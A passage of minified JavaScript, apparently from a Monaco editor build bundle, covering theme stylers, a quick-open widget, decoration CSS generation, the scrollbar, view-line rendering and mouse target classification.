electionForeground,listFocusAndSelectionBackground:o&&o.listFocusAndSelectionBackground||n.listActiveSelectionBackground,listFocusAndSelectionForeground:o&&o.listFocusAndSelectionForeground||n.listActiveSelectionForeground,listInactiveSelectionBackground:o&&o.listInactiveSelectionBackground||n.listInactiveSelectionBackground,listInactiveSelectionForeground:o&&o.listInactiveSelectionForeground||n.listInactiveSelectionForeground,listInactiveFocusBackground:o&&o.listInactiveFocusBackground||n.listInactiveFocusBackground,listInactiveFocusForeground:o&&o.listInactiveFocusForeground||n.listInactiveFocusForeground,listHoverBackground:o&&o.listHoverBackground||n.listHoverBackground,listHoverForeground:o&&o.listHoverForeground||n.listHoverForeground,listDropBackground:o&&o.listDropBackground||n.listDropBackground,listFocusOutline:o&&o.listFocusOutline||n.activeContrastBorder,listSelectionOutline:o&&o.listSelectionOutline||n.activeContrastBorder,listHoverOutline:o&&o.listHoverOutline||n.activeContrastBorder},e)},t.attachListStyler=function(e,t,o){return i(t,{listFocusBackground:o&&o.listFocusBackground||n.listFocusBackground,listFocusForeground:o&&o.listFocusForeground||n.listFocusForeground,listActiveSelectionBackground:o&&o.listActiveSelectionBackground||n.lighten(n.listActiveSelectionBackground,.1),listActiveSelectionForeground:o&&o.listActiveSelectionForeground||n.listActiveSelectionForeground,listFocusAndSelectionBackground:o&&o.listFocusAndSelectionBackground||n.listActiveSelectionBackground,listFocusAndSelectionForeground:o&&o.listFocusAndSelectionForeground||n.listActiveSelectionForeground,listInactiveSelectionBackground:o&&o.listInactiveSelectionBackground||n.listInactiveSelectionBackground,listInactiveSelectionForeground:o&&o.listInactiveSelectionForeground||n.listInactiveSelectionForeground,listInactiveFocusBackground:o&&o.listInactiveFocusBackground||n.listInactiveFocusBackground,listInactiveFocusForeground:o&&o.listInactiveFocusForeground||n.listInactiveFocusForeground,listHoverBackground:o&&o.listHoverBackground||n.listHoverBackground,listHoverForeground:o&&o.listHoverForeground||n.listHoverForeground,listDropBackground:o&&o.listDropBackground||n.listDropBackground,listFocusOutline:o&&o.listFocusOutline||n.activeContrastBorder,listSelectionOutline:o&&o.listSelectionOutline||n.activeContrastBorder,listHoverOutline:o&&o.listHoverOutline||n.activeContrastBorder,listInactiveFocusOutline:o&&o.listInactiveFocusOutline},e)},t.attachButtonStyler=function(e,t,o){return i(t,{buttonForeground:o&&o.buttonForeground||n.buttonForeground,buttonBackground:o&&o.buttonBackground||n.buttonBackground,buttonHoverBackground:o&&o.buttonHoverBackground||n.buttonHoverBackground,buttonBorder:n.contrastBorder},e)},t.attachProgressBarStyler=function(e,t,o){return i(t,{progressBarBackground:o&&o.progressBarBackground||n.progressBarBackground},e)},t.attachStylerCallback=function(e,t,n){return i(e,t,n)}}),define(d[483],h([1,0,52,301,25,137]),function(e,t,n,i,o,r){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var s=function(){function e(e,t,n,i,o,r){this.codeEditor=e,this.themeService=r,this.create(t,n,i,o)}return e.prototype.create=function(e,t,o,s){this.domNode=n.$().div().getHTMLElement(),this.quickOpenWidget=new i.QuickOpenWidget(this.domNode,{onOk:e,onCancel:t,onType:o},{inputPlaceHolder:null,inputAriaLabel:s.inputAriaLabel,keyboardSupport:!0},null),this.styler=r.attachQuickOpenStyler(this.quickOpenWidget,this.themeService),this.quickOpenWidget.create(),this.codeEditor.addOverlayWidget(this)},e.prototype.setInput=function(e,t){this.quickOpenWidget.setInput(e,t)},e.prototype.getId=function(){return e.ID},e.prototype.getDomNode=function(){return this.domNode},e.prototype.destroy=function(){this.codeEditor.removeOverlayWidget(this),this.quickOpenWidget.dispose(),this.styler.dispose()},e.prototype.isVisible=function(){return this.visible},e.prototype.show=function(e){this.visible=!0;var t=this.codeEditor.getLayoutInfo();t&&this.quickOpenWidget.layout(new n.Dimension(t.width,t.height)),this.quickOpenWidget.show(e),this.codeEditor.layoutOverlayWidget(this)},e.prototype.hide=function(){this.visible=!1,this.quickOpenWidget.hide(),this.codeEditor.layoutOverlayWidget(this)},e.prototype.getPosition=function(){return this.visible?{preference:o.OverlayWidgetPositionPreference.TOP_CENTER}:null},e.ID=\"editor.contrib.quickOpenEditorWidget\",e}();t.QuickOpenEditorWidget=s}),define(d[14],h([1,0,16,44,11]),function(e,t,n,i,o){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0}),t.IThemeService=n.createDecorator(\"themeService\"),t.DARK=\"dark\",t.LIGHT=\"light\",t.HIGH_CONTRAST=\"hc\",t.getThemeTypeSelector=function(e){switch(e){case t.DARK:return\"vs-dark\";case t.HIGH_CONTRAST:return\"hc-black\";default:return\"vs\"}},t.Extensions={ThemingContribution:\"base.contributions.theming\"};var r=new(function(){function e(){this.themingParticipants=[],this.themingParticipants=[],this.onThemingParticipantAddedEmitter=new o.Emitter}return e.prototype.onThemeChange=function(e){var t=this;return this.themingParticipants.push(e),this.onThemingParticipantAddedEmitter.fire(e),{dispose:function(){var n=t.themingParticipants.indexOf(e);t.themingParticipants.splice(n,1)}}},Object.defineProperty(e.prototype,\"onThemingParticipantAdded\",{get:function(){return this.onThemingParticipantAddedEmitter.event},enumerable:!0,configurable:!0}),e.prototype.getThemingParticipants=function(){return this.themingParticipants},e}());i.Registry.add(t.Extensions.ThemingContribution,r),t.registerThemingParticipant=function(e){return r.onThemeChange(e)},t.cssRule=function(e){for(var t=[],n=1;n<arguments.length;n++)t[n-1]=arguments[n];for(var i=\"\",o=0;o<t.length;o++){i+=e[o];var r=t[o];i+=null===r?\"transparent\":r.toString()}return i+=e[e.length-1]}}),define(d[485],h([1,0,9,24,4,20,210,3,14]),function(e,t,n,i,o,r,s,a,u){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var l=function(e){function t(t,n){void 0===n&&(n=o.createStyleSheet());var i=e.call(this)||this;return i._styleSheet=n,i._decorationOptionProviders=Object.create(null),i._themeService=t,i}return f(t,e),t.prototype.registerDecorationType=function(e,t,n){var i=this._decorationOptionProviders[e];if(!i){var o={styleSheet:this._styleSheet,key:e,parentTypeKey:n,options:t};i=n?new d(this._themeService,o):new h(this._themeService,o),this._decorationOptionProviders[e]=i}i.refCount++},t.prototype.removeDecorationType=function(e){var t=this._decorationOptionProviders[e];t&&(t.refCount--,t.refCount<=0&&(delete this._decorationOptionProviders[e],t.dispose(),this.listCodeEditors().forEach(function(t){return t.removeDecorations(e)})))},t.prototype.resolveDecorationOptions=function(e,t){var n=this._decorationOptionProviders[e];if(!n)throw new Error(\"Unknown decoration type key: \"+e);return n.getOptions(this,t)},t=v([y(0,u.IThemeService)],t)}(s.AbstractCodeEditorService);t.CodeEditorServiceImpl=l;var c,d=function(){function e(e,t){this._parentTypeKey=t.parentTypeKey,this.refCount=0,this._beforeContentRules=new g(3,t,e),this._afterContentRules=new g(4,t,e)}return e.prototype.getOptions=function(e,t){var n=e.resolveDecorationOptions(this._parentTypeKey,!0);return this._beforeContentRules&&(n.beforeContentClassName=this._beforeContentRules.className),this._afterContentRules&&(n.afterContentClassName=this._afterContentRules.className),n},e.prototype.dispose=function(){this._beforeContentRules&&(this._beforeContentRules.dispose(),this._beforeContentRules=null),this._afterContentRules&&(this._afterContentRules.dispose(),this._afterContentRules=null)},e}(),h=function(){function e(e,t){var n=this;this.refCount=0,this._disposables=[];var i=function(i){var o=new g(i,t,e);if(o.hasContent)return n._disposables.push(o),o.className};this.className=i(0),this.inlineClassName=i(1),this.beforeContentClassName=i(3),this.afterContentClassName=i(4),this.glyphMarginClassName=i(2);var o=t.options;this.isWholeLine=Boolean(o.isWholeLine),this.stickiness=o.rangeBehavior;var s=o.light&&o.light.overviewRulerColor||o.overviewRulerColor,a=o.dark&&o.dark.overviewRulerColor||o.overviewRulerColor;void 0===s&&void 0===a||(this.overviewRuler={color:s||a,darkColor:a||s,position:o.overviewRulerLane||r.OverviewRulerLane.Center})}return e.prototype.getOptions=function(e,t){return t?{inlineClassName:this.inlineClassName,beforeContentClassName:this.beforeContentClassName,afterContentClassName:this.afterContentClassName,className:this.className,glyphMarginClassName:this.glyphMarginClassName,isWholeLine:this.isWholeLine,overviewRuler:this.overviewRuler,stickiness:this.stickiness}:this},e.prototype.dispose=function(){this._disposables=a.dispose(this._disposables)},e}(),p={color:\"color:{0} !important;\",backgroundColor:\"background-color:{0};\",outline:\"outline:{0};\",outlineColor:\"outline-color:{0};\",outlineStyle:\"outline-style:{0};\",outlineWidth:\"outline-width:{0};\",border:\"border:{0};\",borderColor:\"border-color:{0};\",borderRadius:\"border-radius:{0};\",borderSpacing:\"border-spacing:{0};\",borderStyle:\"border-style:{0};\",borderWidth:\"border-width:{0};\",textDecoration:\"text-decoration:{0};\",cursor:\"cursor:{0};\",letterSpacing:\"letter-spacing:{0};\",gutterIconPath:\"background:url('{0}') center center no-repeat;\",gutterIconSize:\"background-size:{0};\",contentText:\"content:'{0}';\",contentIconPath:\"content:url('{0}');\",margin:\"margin:{0};\",width:\"width:{0};\",height:\"height:{0};\"},g=function(){function e(e,t,n){var i=this;this._theme=n.getTheme(),this._ruleType=e,this._providerArgs=t,this._usesThemeColors=!1,this._hasContent=!1;var o=m.getClassName(this._providerArgs.key,e);this._providerArgs.parentTypeKey&&(o=o+\" \"+m.getClassName(this._providerArgs.parentTypeKey,e)),this._className=o,this._unThemedSelector=m.getSelector(this._providerArgs.key,this._providerArgs.parentTypeKey,e),this._buildCSS(),this._usesThemeColors&&(this._themeListener=n.onThemeChange(function(e){i._theme=n.getTheme(),i._removeCSS(),i._buildCSS()}))}return e.prototype.dispose=function(){this._hasContent&&(this._removeCSS(),this._hasContent=!1),this._themeListener&&(this._themeListener.dispose(),this._themeListener=null)},Object.defineProperty(e.prototype,\"hasContent\",{get:function(){return this._hasContent},enumerable:!0,configurable:!0}),Object.defineProperty(e.prototype,\"className\",{get:function(){return this._className},enumerable:!0,configurable:!0}),e.prototype._buildCSS=function(){var e,t,n,i=this._providerArgs.options;switch(this._ruleType){case 0:e=this.getCSSTextForModelDecorationClassName(i),t=this.getCSSTextForModelDecorationClassName(i.light),n=this.getCSSTextForModelDecorationClassName(i.dark);break;case 1:e=this.getCSSTextForModelDecorationInlineClassName(i),t=this.getCSSTextForModelDecorationInlineClassName(i.light),n=this.getCSSTextForModelDecorationInlineClassName(i.dark);break;case 2:e=this.getCSSTextForModelDecorationGlyphMarginClassName(i),t=this.getCSSTextForModelDecorationGlyphMarginClassName(i.light),n=this.getCSSTextForModelDecorationGlyphMarginClassName(i.dark);break;case 3:e=this.getCSSTextForModelDecorationContentClassName(i.before),t=this.getCSSTextForModelDecorationContentClassName(i.light&&i.light.before),n=this.getCSSTextForModelDecorationContentClassName(i.dark&&i.dark.before);break;case 4:e=this.getCSSTextForModelDecorationContentClassName(i.after),t=this.getCSSTextForModelDecorationContentClassName(i.light&&i.light.after),n=this.getCSSTextForModelDecorationContentClassName(i.dark&&i.dark.after);break;default:throw new Error(\"Unknown rule type: \"+this._ruleType)}var o=this._providerArgs.styleSheet.sheet,r=!1;e.length>0&&(o.insertRule(this._unThemedSelector+\" {\"+e+\"}\",0),r=!0),t.length>0&&(o.insertRule(\".vs\"+this._unThemedSelector+\" {\"+t+\"}\",0),r=!0),n.length>0&&(o.insertRule(\".vs-dark\"+this._unThemedSelector+\", .hc-black\"+this._unThemedSelector+\" {\"+n+\"}\",0),r=!0),this._hasContent=r},e.prototype._removeCSS=function(){o.removeCSSRulesContainingSelector(this._unThemedSelector,this._providerArgs.styleSheet)},e.prototype.getCSSTextForModelDecorationClassName=function(e){if(!e)return\"\";var t=[];return this.collectCSSText(e,[\"backgroundColor\"],t),this.collectCSSText(e,[\"outline\",\"outlineColor\",\"outlineStyle\",\"outlineWidth\"],t),this.collectBorderSettingsCSSText(e,t),t.join(\"\")},e.prototype.getCSSTextForModelDecorationInlineClassName=function(e){if(!e)return\"\";var t=[];return this.collectCSSText(e,[\"textDecoration\",\"cursor\",\"color\",\"letterSpacing\"],t),t.join(\"\")},e.prototype.getCSSTextForModelDecorationContentClassName=function(e){if(!e)return\"\";var t=[];if(void 0!==e){if(this.collectBorderSettingsCSSText(e,t),\"string\"==typeof e.contentIconPath?t.push(n.format(p.contentIconPath,i.default.file(e.contentIconPath).toString().replace(/'/g,\"%27\"))):e.contentIconPath instanceof i.default&&t.push(n.format(p.contentIconPath,e.contentIconPath.toString(!0).replace(/'/g,\"%27\"))),\"string\"==typeof e.contentText){var o=e.contentText.match(/^.*$/m)[0].replace(/['\\\\]/g,\"\\\\$&\");t.push(n.format(p.contentText,o))}this.collectCSSText(e,[\"textDecoration\",\"color\",\"backgroundColor\",\"margin\"],t),this.collectCSSText(e,[\"width\",\"height\"],t)&&t.push(\"display:inline-block;\")}return t.join(\"\")},e.prototype.getCSSTextForModelDecorationGlyphMarginClassName=function(e){if(!e)return\"\";var t=[];return void 0!==e.gutterIconPath&&(\"string\"==typeof e.gutterIconPath?t.push(n.format(p.gutterIconPath,i.default.file(e.gutterIconPath).toString())):t.push(n.format(p.gutterIconPath,e.gutterIconPath.toString(!0).replace(/'/g,\"%27\"))),void 0!==e.gutterIconSize&&t.push(n.format(p.gutterIconSize,e.gutterIconSize))),t.join(\"\")},e.prototype.collectBorderSettingsCSSText=function(e,t){return!!this.collectCSSText(e,[\"border\",\"borderColor\",\"borderRadius\",\"borderSpacing\",\"borderStyle\",\"borderWidth\"],t)&&(t.push(n.format(\"box-sizing: border-box;\")),!0)},e.prototype.collectCSSText=function(e,t,i){for(var o=i.length,r=0,s=t;r<s.length;r++){var a=s[r],u=this.resolveValue(e[a]);\"string\"==typeof u&&i.push(n.format(p[a],u))}return i.length!==o},e.prototype.resolveValue=function(e){if(r.isThemeColor(e)){this._usesThemeColors=!0;var t=this._theme.getColor(e.id);return t?t.toString():\"transparent\"}return e},e}();!function(e){e[e.ClassName=0]=\"ClassName\",e[e.InlineClassName=1]=\"InlineClassName\",e[e.GlyphMarginClassName=2]=\"GlyphMarginClassName\",e[e.BeforeContentClassName=3]=\"BeforeContentClassName\",e[e.AfterContentClassName=4]=\"AfterContentClassName\"}(c||(c={}));var m=function(){function e(){}return e.getClassName=function(e,t){return\"ced-\"+e+\"-\"+t},e.getSelector=function(e,t,n){var i=\".monaco-editor .\"+this.getClassName(e,n);return t&&(i=i+\".\"+this.getClassName(t,n)),3===n?i+=\"::before\":4===n&&(i+=\"::after\"),i},e}()}),define(d[486],h([1,0,4,63,35,27,14]),function(e,t,n,i,o,r,s){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var a=function(e){function t(t,a,u,l){var c=e.call(this,t)||this,d=c._context.configuration.editor.viewInfo.scrollbar,h={listenOnDomNode:u.domNode,className:\"editor-scrollable \"+s.getThemeTypeSelector(t.theme.type),useShadows:!1,lazyRender:!0,vertical:d.vertical,horizontal:d.horizontal,verticalHasArrows:d.verticalHasArrows,horizontalHasArrows:d.horizontalHasArrows,verticalScrollbarSize:d.verticalScrollbarSize,verticalSliderSize:d.verticalSliderSize,horizontalScrollbarSize:d.horizontalScrollbarSize,horizontalSliderSize:d.horizontalSliderSize,handleMouseWheel:d.handleMouseWheel,arrowSize:d.arrowSize,mouseWheelScrollSensitivity:d.mouseWheelScrollSensitivity};c.scrollbar=c._register(new i.ScrollableElement(a.domNode,h,c._context.viewLayout.scrollable)),o.PartFingerprints.write(c.scrollbar.getDomNode(),5),c.scrollbarDomNode=r.createFastDomNode(c.scrollbar.getDomNode()),c.scrollbarDomNode.setPosition(\"absolute\"),c._setLayout();var p=function(e,t,n){var i={};if(t){var o=e.scrollTop;o&&(i.scrollTop=c._context.viewLayout.getScrollTop()+o,e.scrollTop=0)}if(n){var r=e.scrollLeft;r&&(i.scrollLeft=c._context.viewLayout.getScrollLeft()+r,e.scrollLeft=0)}c._context.viewLayout.setScrollPosition(i)};return c._register(n.addDisposableListener(u.domNode,\"scroll\",function(e){return p(u.domNode,!0,!0)})),c._register(n.addDisposableListener(a.domNode,\"scroll\",function(e){return p(a.domNode,!0,!1)})),c._register(n.addDisposableListener(l.domNode,\"scroll\",function(e){return p(l.domNode,!0,!1)})),c}return f(t,e),t.prototype.dispose=function(){e.prototype.dispose.call(this)},t.prototype._setLayout=function(){var e=this._context.configuration.editor.layoutInfo;this.scrollbarDomNode.setLeft(e.contentLeft),this.scrollbarDomNode.setWidth(e.contentWidth+e.minimapWidth),this.scrollbarDomNode.setHeight(e.contentHeight)},t.prototype.getOverviewRulerLayoutInfo=function(){return this.scrollbar.getOverviewRulerLayoutInfo()},t.prototype.getDomNode=function(){return this.scrollbarDomNode},t.prototype.delegateVerticalScrollbarMouseDown=function(e){this.scrollbar.delegateVerticalScrollbarMouseDown(e)},t.prototype.delegateSliderMouseDown=function(e,t){this.scrollbar.delegateSliderMouseDown(e,t)},t.prototype.onConfigurationChanged=function(e){if(e.viewInfo){var t=this._context.configuration.editor,n={handleMouseWheel:t.viewInfo.scrollbar.handleMouseWheel,mouseWheelScrollSensitivity:t.viewInfo.scrollbar.mouseWheelScrollSensitivity};this.scrollbar.updateOptions(n)}return e.layoutInfo&&this._setLayout(),!0},t.prototype.onScrollChanged=function(e){return!0},t.prototype.onThemeChanged=function(e){return this.scrollbar.updateClassName(\"editor-scrollable \"+s.getThemeTypeSelector(this._context.theme.type)),!0},t.prototype.prepareRender=function(e){},t.prototype.render=function(e){this.scrollbar.renderNow()},t}(o.ViewPart);t.EditorScrollbar=a}),define(d[185],h([1,0,28,15,9,27,138,106,214,78,14]),function(e,t,n,i,o,r,s,a,u,l,c){\"use strict\";function d(e,t,n,i,o){return new b(e,t,n,i,o)}function h(e,t,n,i,o){return new C(e,t,n,i,o)}Object.defineProperty(t,\"__esModule\",{value:!0});var p=!!i.isNative||!(i.isLinux||n.isFirefox||n.isSafari),g=n.isEdgeOrIE,m=function(){function e(e,t){this._domNode=e,this._clientRectDeltaLeft=0,this._clientRectDeltaLeftRead=!1,this.endNode=t}return Object.defineProperty(e.prototype,\"clientRectDeltaLeft\",{get:function(){return this._clientRectDeltaLeftRead||(this._clientRectDeltaLeftRead=!0,this._clientRectDeltaLeft=this._domNode.getBoundingClientRect().left),this._clientRectDeltaLeft},enumerable:!0,configurable:!0}),e}();t.DomReadingContext=m;var v=function(){function e(e,t){this.themeType=t,this.renderWhitespace=e.editor.viewInfo.renderWhitespace,this.renderControlCharacters=e.editor.viewInfo.renderControlCharacters,this.spaceWidth=e.editor.fontInfo.spaceWidth,this.useMonospaceOptimizations=e.editor.fontInfo.isMonospace&&!e.editor.viewInfo.disableMonospaceOptimizations,this.lineHeight=e.editor.lineHeight,this.stopRenderingLineAfter=e.editor.viewInfo.stopRenderingLineAfter,this.fontLigatures=e.editor.viewInfo.fontLigatures}return e.prototype.equals=function(e){return this.themeType===e.themeType&&this.renderWhitespace===e.renderWhitespace&&this.renderControlCharacters===e.renderControlCharacters&&this.spaceWidth===e.spaceWidth&&this.useMonospaceOptimizations===e.useMonospaceOptimizations&&this.lineHeight===e.lineHeight&&this.stopRenderingLineAfter===e.stopRenderingLineAfter&&this.fontLigatures===e.fontLigatures},e}();t.ViewLineOptions=v;var _=function(){function e(e){this._options=e,this._isMaybeInvalid=!0,this._renderedViewLine=null}return e.prototype.getDomNode=function(){return this._renderedViewLine&&this._renderedViewLine.domNode?this._renderedViewLine.domNode.domNode:null},e.prototype.setDomNode=function(e){if(!this._renderedViewLine)throw new Error(\"I have no rendered view line to set the dom node to...\");this._renderedViewLine.domNode=r.createFastDomNode(e)},e.prototype.onContentChanged=function(){this._isMaybeInvalid=!0},e.prototype.onTokensChanged=function(){this._isMaybeInvalid=!0},e.prototype.onDecorationsChanged=function(){this._isMaybeInvalid=!0},e.prototype.onOptionsChanged=function(e){this._isMaybeInvalid=!0,this._options=e},e.prototype.onSelectionChanged=function(){return!(!g&&this._options.themeType!==c.HIGH_CONTRAST)&&(this._isMaybeInvalid=!0,!0)},e.prototype.renderLine=function(t,n,i){if(!1===this._isMaybeInvalid)return null;this._isMaybeInvalid=!1;var r=i.getViewLineRenderingData(t),u=this._options,l=s.LineDecoration.filter(r.inlineDecorations,t,r.minColumn,r.maxColumn);if(g||u.themeType===c.HIGH_CONTRAST)for(var d=i.selections,h=0,f=d.length;h<f;h++){var m=d[h];if(!(m.endLineNumber<t||m.startLineNumber>t)){var v=m.startLineNumber===t?m.startColumn:r.minColumn,_=m.endLineNumber===t?m.endColumn:r.maxColumn;v<_&&l.push(new s.LineDecoration(v,_,\"inline-selected-text\",!1))}}var C=new a.RenderLineInput(u.useMonospaceOptimizations,r.content,r.mightContainRTL,r.minColumn-1,r.tokens,l,r.tabSize,u.spaceWidth,u.stopRenderingLineAfter,u.renderWhitespace,u.renderControlCharacters,u.fontLigatures);if(this._renderedViewLine&&this._renderedViewLine.input.equals(C))return null;var b=a.renderViewLine(C),S=null;if(p&&u.useMonospaceOptimizations&&!b.containsForeignElements){var E=!0;r.mightContainNonBasicASCII&&(E=o.isBasicASCII(r.content)),E&&r.content.length<1e3&&(S=new y(this._renderedViewLine?this._renderedViewLine.domNode:null,C,b.characterMapping))}return S||(S=w(this._renderedViewLine?this._renderedViewLine.domNode:null,C,b.characterMapping,b.containsRTL,b.containsForeignElements)),this._renderedViewLine=S,'<div style=\"top:'+n+\"px;height:\"+this._options.lineHeight+'px;\" class=\"'+e.CLASS_NAME+'\">'+b.html+\"</div>\"},e.prototype.layoutLine=function(e,t){this._renderedViewLine&&this._renderedViewLine.domNode&&(this._renderedViewLine.domNode.setTop(t),this._renderedViewLine.domNode.setHeight(this._options.lineHeight))},e.prototype.getWidth=function(){return this._renderedViewLine?this._renderedViewLine.getWidth():0},e.prototype.getVisibleRangesForRange=function(e,t,n){return e=Math.min(this._renderedViewLine.input.lineContent.length+1,Math.max(1,e)),t=Math.min(this._renderedViewLine.input.lineContent.length+1,Math.max(1,t)),this._renderedViewLine.getVisibleRangesForRange(e,t,n)},e.prototype.getColumnOfNodeOffset=function(e,t,n){return this._renderedViewLine.getColumnOfNodeOffset(e,t,n)},e.CLASS_NAME=\"view-line\",e}();t.ViewLine=_;var y=function(){function e(e,t,n){this.domNode=e,this.input=t,this._characterMapping=n,this._charWidth=t.spaceWidth,this._charOffset=null}return e._createCharOffset=function(e){for(var t=e.getPartLengths(),n=e.length,i=new Uint32Array(n),o=0,r=0,s=0;s<n;s++){for(var u=e.charOffsetToPartData(s),l=a.CharacterMapping.getPartIndex(u),c=a.CharacterMapping.getCharIndex(u);o<l;)r+=t[o],o++;i[s]=r+c}return i},e.prototype._getOrCreateCharOffset=function(){return null===this._charOffset&&(this._charOffset=e._createCharOffset(this._characterMapping)),this._charOffset},e.prototype.getWidth=function(){var e=this._getOrCreateCharOffset();return this._getCharPosition(e.length)},e.prototype.getVisibleRangesForRange=function(e,t,n){e|=0,t|=0;var i=0|this.input.stopRenderingLineAfter;if(-1!==i&&e>i&&t>i)return null;-1!==i&&e>i&&(e=i),-1!==i&&t>i&&(t=i);var o=this._getCharPosition(e),r=this._getCharPosition(t);return[new l.HorizontalRange(o,r-o)]},e.prototype._getCharPosition=function(e){var t=this._getOrCreateCharOffset();return 0===t.length?0:Math.round(this._charWidth*t[e-1])},e.prototype.getColumnOfNodeOffset=function(e,t,n){for(var i=t.textContent.length,o=-1;t;)t=t.previousSibling,o++;return this._characterMapping.partDataToCharOffset(o,i,n)+1},e}(),C=function(){function e(e,t,n,i,o){if(this.domNode=e,this.input=t,this._characterMapping=n,this._isWhitespaceOnly=/^\\s*$/.test(t.lineContent),this._containsForeignElements=o,this._cachedWidth=-1,this._pixelOffsetCache=null,!i||0===this._characterMapping.length){this._pixelOffsetCache=new Int32Array(this._characterMapping.length+1);for(var r=0,s=this._characterMapping.length;r<=s;r++)this._pixelOffsetCache[r]=-1}}return e.prototype._getReadingTarget=function(){return this.domNode.domNode.firstChild},e.prototype.getWidth=function(){return-1===this._cachedWidth&&(this._cachedWidth=this._getReadingTarget().offsetWidth),this._cachedWidth},e.prototype.getVisibleRangesForRange=function(e,t,n){e|=0,t|=0;var i=0|this.input.stopRenderingLineAfter;if(-1!==i&&e>i&&t>i)return null;if(-1!==i&&e>i&&(e=i),-1!==i&&t>i&&(t=i),null!==this._pixelOffsetCache){var o=this._readPixelOffset(e,n);if(-1===o)return null;var r=this._readPixelOffset(t,n);return-1===r?null:[new l.HorizontalRange(o,r-o)]}return this._readVisibleRangesForRange(e,t,n)},e.prototype._readVisibleRangesForRange=function(e,t,n){if(e===t){var i=this._readPixelOffset(e,n);return-1===i?null:[new l.HorizontalRange(i,0)]}return this._readRawVisibleRangesForRange(e,t,n)},e.prototype._readPixelOffset=function(e,t){if(0===this._characterMapping.length&&!this._containsForeignElements)return 0;if(null!==this._pixelOffsetCache){var n=this._pixelOffsetCache[e];if(-1!==n)return n;var i=this._actualReadPixelOffset(e,t);return this._pixelOffsetCache[e]=i,i}return this._actualReadPixelOffset(e,t)},e.prototype._actualReadPixelOffset=function(e,t){if(0===this._characterMapping.length){var n=u.RangeUtil.readHorizontalRanges(this._getReadingTarget(),0,0,0,0,t.clientRectDeltaLeft,t.endNode);return n&&0!==n.length?n[0].left:-1}if(e===this._characterMapping.length&&this._isWhitespaceOnly&&!this._containsForeignElements)return this.getWidth();var i=this._characterMapping.charOffsetToPartData(e-1),o=a.CharacterMapping.getPartIndex(i),r=a.CharacterMapping.getCharIndex(i),s=u.RangeUtil.readHorizontalRanges(this._getReadingTarget(),o,r,o,r,t.clientRectDeltaLeft,t.endNode);return s&&0!==s.length?s[0].left:-1},e.prototype._readRawVisibleRangesForRange=function(e,t,n){if(1===e&&t===this._characterMapping.length)return[new l.HorizontalRange(0,this.getWidth())];var i=this._characterMapping.charOffsetToPartData(e-1),o=a.CharacterMapping.getPartIndex(i),r=a.CharacterMapping.getCharIndex(i),s=this._characterMapping.charOffsetToPartData(t-1),c=a.CharacterMapping.getPartIndex(s),d=a.CharacterMapping.getCharIndex(s);return u.RangeUtil.readHorizontalRanges(this._getReadingTarget(),o,r,c,d,n.clientRectDeltaLeft,n.endNode)},e.prototype.getColumnOfNodeOffset=function(e,t,n){for(var i=t.textContent.length,o=-1;t;)t=t.previousSibling,o++;return this._characterMapping.partDataToCharOffset(o,i,n)+1},e}(),b=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return f(t,e),t.prototype._readVisibleRangesForRange=function(t,n,i){var o=e.prototype._readVisibleRangesForRange.call(this,t,n,i);if(!o||0===o.length||t===n||1===t&&n===this._characterMapping.length)return o;var r=this._readPixelOffset(n-1,i),s=this._readPixelOffset(n,i);if(-1!==r&&-1!==s){var a=r<=s,u=o[o.length-1];a&&u.left<s&&(u.width=s-u.left)}return o},t}(C),w=n.isWebKit?d:h}),define(d[186],h([1,0,12,2,25,114,28,35,185]),function(e,t,n,i,o,r,s,a,u){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var l=function(){function e(e,t,n,o,r,s){void 0===n&&(n=0),void 0===o&&(o=null),void 0===r&&(r=null),void 0===s&&(s=null),this.element=e,this.type=t,this.mouseColumn=n,this.position=o,!r&&o&&(r=new i.Range(o.lineNumber,o.column,o.lineNumber,o.column)),this.range=r,this.detail=s}return e._typeToString=function(e){return e===o.MouseTargetType.TEXTAREA?\"TEXTAREA\":e===o.MouseTargetType.GUTTER_GLYPH_MARGIN?\"GUTTER_GLYPH_MARGIN\":e===o.MouseTargetType.GUTTER_LINE_NUMBERS?\"GUTTER_LINE_NUMBERS\":e===o.MouseTargetType.GUTTER_LINE_DECORATIONS?\"GUTTER_LINE_DECORATIONS\":e===o.MouseTargetType.GUTTER_VIEW_ZONE?\"GUTTER_VIEW_ZONE\":e===o.MouseTargetType.CONTENT_TEXT?\"CONTENT_TEXT\":e===o.MouseTargetType.CONTENT_EMPTY?\"CONTENT_EMPTY\":e===o.MouseTargetType.CONTENT_VIEW_ZONE?\"CONTENT_VIEW_ZONE\":e===o.MouseTargetType.CONTENT_WIDGET?\"CONTENT_WIDGET\":e===o.MouseTargetType.OVERVIEW_RULER?\"OVERVIEW_RULER\":e===o.MouseTargetType.SCROLLBAR?\"SCROLLBAR\":e===o.MouseTargetType.OVERLAY_WIDGET?\"OVERLAY_WIDGET\":\"UNKNOWN\"},e.toString=function(e){return this._typeToString(e.type)+\": \"+e.position+\" - \"+e.range+\" - \"+e.detail},e.prototype.toString=function(){return e.toString(this)},e}();t.MouseTarget=l;var c=function(){function e(){}return e.isTextArea=function(e){return 2===e.length&&3===e[0]&&6===e[1]},e.isChildOfViewLines=function(e){return e.length>=4&&3===e[0]&&7===e[3]},e.isChildOfScrollableElement=function(e){return e.length>=2&&3===e[0]&&5===e[1]},e.isChildOfMinimap=function(e){return e.length>=2&&3===e[0]&&8===e[1]},e.isChildOfContentWidgets=function(e){return e.length>=4&&3===e[0]&&1===e[3]},e.isChildOfOverflowingContentWidgets=function(e){return e.length>=1&&2===e[0]},e.isChildOfOverlayWidgets=function(e){return e.length>=2&&3===e[0]&&4===e[1]},e}(),d=function(){function e(e,t,n){this.model=e.model,this.layoutInfo=e.configuration.editor.layoutInfo,this.viewDomNode=t.viewDomNode,this.lineHeight=e.configuration.editor.lineHeight,this.typicalHalfwidthCharacterWidth=e.configuration.editor.fontInfo.typicalHalfwidthCharacterWidth,this.lastViewCursorsRenderData=n,this._context=e,this._viewHelper=t}return e.prototype.getZoneAtCoord=function(e){var t=this._context.viewLayout.getWhitespaceAtVerticalOffset(e);if(t){var i=t.verticalOffset+t.height/2,o=this._context.model.getLineCount(),r=null,s=void 0,a=null;return t.afterLineNumber!==o&&(a=new n.Position(t.afterLineNumber+1,1)),t.afterLineNumber>0&&(r=new 